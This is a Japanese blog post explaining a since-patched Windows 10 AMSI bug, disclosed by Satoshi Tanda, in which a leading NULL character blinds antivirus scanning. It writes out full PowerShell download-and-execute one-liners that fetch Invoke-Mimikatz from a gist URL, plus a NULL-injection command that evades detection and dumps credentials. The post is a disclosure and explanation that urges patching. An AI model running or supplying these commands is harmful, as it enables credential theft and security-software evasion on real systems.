NULL文字を含むコマンドを実行すると無視するバグがAMSIに存在。Microsoft社は月例パッチで修正済み。

f:id:nanashi0x:20180222175439p:plain

standa-note.blogspot.jp

 

Windows 10に標準搭載されているAMSIという機能にバグがあり、NULL文字を先頭に含んだコマンドを実行すると、セキュリティソフトによる検知をバイパスして任意のコマンドを実行してしまう。

このバグは、カナダ・バンクーバーで活動するSatoshiTanda氏のブログで公開された。

既にMicrosoftは今月の月例パッチでパッチをリリースしているが、ここで一度AMSIに見つかったバグと、そのエクスプロイト手法について見ていこう。

 

AMSIとは何か

AMSIとは、Antimalware Scan Interfaceの略。

Windows 10から搭載されたセキュリティ機能の1つであり、任意のアプリと、エンドポイントセキュリティソフトの”中間点”に立つ機能である。

AMSIはPowerShellVBScript等のコマンドスクリプトを実行する際にイベントを作成し、AMSIプロバイダー(セキュリティソフト)に送信する。

セキュリティソフトは、AMSIから受信したスクリプトやコマンドの内容をスキャンする事が出来、悪意のあるコードを含んだスクリプトであると判断した場合は実行を防ぐ。

このバグの発見者であるTanda氏のブログでは、このプロセスを以下の図を使って説明している。

f:id:nanashi0x:20180222180126p:plain

(AMSIが”中間”に存在してコマンドのチェックを行っている事を示す図。Tanda氏のブログ記事より引用。)

 

図中の左側に位置しているのは、PowerShell(System.Management.Automation.dllなど)や、Windows Script Host(JScript.dllなど)のスクリプトエンジンだ。

そして、図の中央に位置するのはAMSIで、図左のスクリプトエンジンから、コマンドやスクリプトを実行前に受け取る。

最後に、図中の右側に記載されている”AMSI Provider”は、セキュリティソフトウェアを示す。

ここでいうセキュリティソフトとは、単にWindows Defenderに限らず、AMSIに対応しているセキュリティソフトである。

AMSIからスクリプトを受け取って、それぞれの方法でスキャンをし、悪意のあるコードを含むと判断した場合にはブロックし、実行を未然に防ぐ事が出来るのだ。

 

AMSIに発見されたバグのエクスプロイト

それでは前セクションのAMSIに関する説明を踏まえて、実際にどのようなバグがあるのか見ていく。

このエクスプロイトを簡単に説明すると、AMSIが受け取るスクリプトに”NULL”文字を入力する事で、それ以降のスクリプトのスキャンがされなくなる。

 

このバグの発見者であるTanda氏のブログでは、以下の2パターンでエクスプロイトする方法を説明している。

  • ファイルベース
  • CUIベース

流れとしては、以下のようになる。

  1. ファイルベースのバイパス手法を使って、GitHubからターゲット端末にエクスプロイトツールをダウンロードする
  2. CUIベースのバイパス手法で、実際に任意のコマンドを実行する

では、それぞれについて説明していく。

 

ファイルベースのエクスプロイト

例えば、Invoke-Mimikatzを実行してターゲット端末をエクスプロイトする方法を考える。

尚、Mimikatzとは、アカウント情報などをターゲット端末から窃取する為に使われるハッキングツールである。

 

それでは、以下のPowerShellコマンドを実行してMimikatzをダウンロードしてみよう。

powershell "IEX (New-Object Net.WebClient).DownloadString('hxxps://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-DefaultMimikatz.ps1')"

 

すると、以下の様なアラートが上がる。

 

f:id:nanashi0x:20180222180225p:plain

(AMSIが正常に動作し検知アラートが上がった。Tanda氏のブログ記事より引用。)

 

この場合AMSIが正常に機能しており、以下の様にダウンロードするファイルの中に”Mimikatz”という文字列が含まれている事を、AMSIが正常に検知している事を示す。

 

f:id:nanashi0x:20180222180248p:plain

(Invoke−Mimikatzという文字列が認識されている。Tanda氏のブログ記事より引用。)

 

次に、以下のようにNULL文字を含んだPowerShellコマンドを実行する。

powershell "IEX (New-Object Net.WebClient).DownloadString('hxxps://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-BypassingMimikatz.ps1')"

 

f:id:nanashi0x:20180222180335p:plain

(NULL文字を挿入。Tanda氏のブログ記事より引用。)

 

すると、AMSIからコマンドを受け取るはずのセキュリティソフトによる検知がなされず、以下のようにダウンロードが成功する。

f:id:nanashi0x:20180222180418p:plain

(Invoke-Mimikatzのダウンロードに成功している。Tanda氏のブログ記事より引用。)

 

以下の画像を見ると、AMSIがMimikatzという文字列が認識していないことが分かる。

f:id:nanashi0x:20180222180441p:plain

(正常に動作した場合Invoke−Mimikatzの文字列があるはずだが、何も認識されていない。Tanda氏のブログ記事より引用。)

コマンドラインベース

上記のファイルベースのバイパス手法を使って、AMSIによる検知を逃れてターゲット端末にダウンロード成功できた。

続いて、CUIベースでターゲット端末でAMSIによる検知をバイパスするコマンドを実行してみよう。

まず初めに正常にAMSIが機能した場合に、Mimikatzを検知して実行を防ぐケースを考える。

以下のコマンドを実行すると、”Invoke-Mimikatz”という文字列があるために検知されてしまう。

 

powershell "IEX (New-Object Net.WebClient).DownloadString('hxxps://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-BypassingMimikatz.ps1'); Invoke-Mimikatz -DumpCerts"

 

コマンドラインを使った検知を逃れる為の方法として、以下の様にコマンドを編集してバイパスする方法があるが、AMSIによる検知は避けられない。

 

powershell "IEX (New-Object Net.WebClient).DownloadString('hxxps://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-BypassingMimikatz.ps1'); IEX ('Invoke-'+'Mimikatz -DumpCerts')"

 

実際に見てみると、正常に検知している事が分かるだろう。

f:id:nanashi0x:20180222180507p:plain

(正常に”Invoke−Mimikatz”という文字列を認識している。Tanda氏のブログ記事より引用。)

 

それでは、NULL文字をエクスプロイトコマンドの先頭に挿入して、以下のコマンドを実行してみよう。

赤字になっている文字列は、NULL文字の挿入を意味する。

 

powershell "IEX (New-Object Net.WebClient).DownloadString('hxxps://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-BypassingMimikatz.ps1'); IEX ('if(0){{{0}}}' -f $(0 -as [char]) + 'Invoke-'+'Mimikatz -DumpCerts')"

 

このコマンドを実行すると、以下のように表示されるはずだ。

 

if (0) {<NULL>} 残りのコマンド

 

実際に、AMSIによる検知をバイパスしてコマンドが実行された事が分かる。

f:id:nanashi0x:20180222180532p:plain

(NULL文字以降のコマンドが認識されていない。Tanda氏のブログ記事より引用。)

 

実際にコマンドプロンプトも表示され、Mimikatzが実行されている。

f:id:nanashi0x:20180222180543p:plain

(Mimikatzが起動している。Tanda氏のブログ記事より引用。)

 

このバグが示唆する現在の攻撃トレンド

今回Tanda氏によって発見されたバグは、既に自動パッチに含まれている。

その事から、最新のアップデートを行えばこのバグを突くエクスプロイトが成功する可能性は低くなる。

しかし最近の攻撃者のトレンドとして、Windows公式のアプリに存在するバグをエクスプロイトしてPowerShellコードを実行する手法が流行している事を考えると、無視できるバグでは無い事が分かる。

”従来の”「ファイル型・マルウェア」から、「ファイルレス・マルウェア」を悪用した攻撃手法に切り替えた攻撃者からすると、攻撃のバリエーションが1つ増えた事になる。

既に先日行われたPatch Tuesdayでパッチされたバグなので、システム管理者はエンドユーザーに迅速なパッチ適用を呼びかけたい。